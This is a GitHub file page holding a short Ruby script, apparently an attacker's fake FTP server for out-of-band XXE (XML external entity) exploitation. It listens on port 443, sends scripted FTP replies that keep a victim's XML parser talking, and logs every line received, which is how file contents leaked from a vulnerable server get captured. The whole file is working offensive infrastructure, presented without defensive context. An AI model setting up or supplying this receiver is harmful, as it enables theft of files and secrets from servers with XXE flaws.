Permalink
Fetching contributors…
Cannot retrieve contributors at this time
42 lines (39 sloc) 1.43 KB
#!/usr/bin/env ruby
##################################
# XXE OOB FTP Server Simulation
##################################
require 'socket'
ftp_server = TCPServer.new 443
# Logging Server activities
log = File.open("xxe-ftp.log", "a")
loop do
Thread.start(ftp_server.accept) do |ftp_client|
puts "================================================\n"
puts "New connection established ..."
ftp_client.puts("220 FTPServer-1337")
time = Time.new
sock_domain, remote_port, remote_hostname, remote_ip = ftp_client.peeraddr
puts "Connection coming from #{remote_ip} and port #{remote_port}"
puts "Time : #{time}"
loop {
req = ftp_client.gets()
puts "< "+req
log.write "DATA RECIEVED : #{req.inspect}\n"
if req.include? "LIST"
ftp_client.puts("drwxrwxrwx 1 owner group 04:37 test")
ftp_client.puts("150 Opening BINARY mode data connection for /bin/ls")
ftp_client.puts("226 Transfer complete.")
elsif req.include? "USER"
ftp_client.puts("331 password please - version check")
elsif req.include? "PORT"
log.write "! PORT received"
log.write "> 200 PORT Command OK"
ftp_client.puts("200 PORT Command OK.")
else
log.write "> 230 User logged in, proceed."
ftp_client.puts("230 User logged in, proceed.")
end
}
puts "\nRemote connection closed ..."
end
end